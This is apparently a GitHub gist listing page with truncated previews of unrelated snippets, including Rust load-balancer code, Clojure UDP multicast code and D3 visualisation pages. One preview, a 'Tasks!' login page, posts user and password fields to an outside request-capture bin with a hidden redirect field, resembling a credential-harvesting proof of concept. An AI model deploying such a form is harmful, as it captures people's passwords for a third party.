This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use async_trait::async_trait; | |
use pingora::{ | |
lb::selection::{BackendIter, BackendSelection}, | |
prelude::*, | |
services::background::GenBackgroundService, | |
}; | |
use std::sync::Arc; | |
struct Router { | |
cluster_one: Arc<LoadBalancer<RoundRobin>>, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
use std::collections::HashMap; | |
use std::rc::Rc; | |
#[derive(Debug)] | |
struct Entry { | |
key: String, | |
value: i32, | |
} | |
impl PartialEq for Entry { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head></head> | |
<body> | |
<h1>Tasks!</h1> | |
<form action="http://requestb.in/1jwz29t1" method="post"> | |
User: <input type="text" name="user"> | |
<br> | |
Pass: <input type="text" name="pass"> | |
<br> | |
<input type="hidden" name="redir" value="/app.php?"> |
This file has been truncated, but you can view the full file.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/* | |
Copyright (c) 2012, Jeffrey Dileo | |
All rights reserved. | |
Redistribution and use in source and binary forms, with or without | |
modification, are permitted provided that the following conditions are met: | |
1. Redistributions of source code must retain the above copyright notice, this | |
list of conditions and the following disclaimer. | |
2. Redistributions in binary form must reproduce the above copyright notice, |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(ns udp-ping.core | |
(:require [clojure.core.async :refer [>! <! chan go close! thread]]) | |
(:import (java.net DatagramPacket InetAddress MulticastSocket))) | |
(def port 10001) | |
(def group (InetAddress/getByName "224.1.0.0")) | |
(def buffer-size 1000) | |
(defprotocol Socket | |
(send! [this msg]) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
(ns udp-ping.core | |
(:import (java.net DatagramPacket InetAddress MulticastSocket))) | |
(def port 10001) | |
(def group (InetAddress/getByName "224.1.0.0")) | |
(def buffer-size 1000) | |
(defn broadcast [msg] | |
(let [s (MulticastSocket. port)] | |
(.joinGroup s group) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<meta charset="utf-8"> | |
<style> | |
.outnode { | |
fill: #ababab; | |
opacity: .3; | |
stroke: #FF6E6E; | |
stroke-width: 2; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<meta charset="utf-8"> | |
<style> | |
.outnode { | |
fill: #ababab; | |
opacity: .3; | |
stroke: #4099FF; | |
stroke-width: 3; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<meta charset="utf-8"> | |
<style> | |
.outnode { | |
fill: #ababab; | |
opacity: .3; | |
stroke: #4099FF; | |
stroke-width: 3; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<meta charset="utf-8"> | |
<style> | |
.outnode { | |
fill: #ababab; | |
opacity: .4; | |
} |
NewerOlder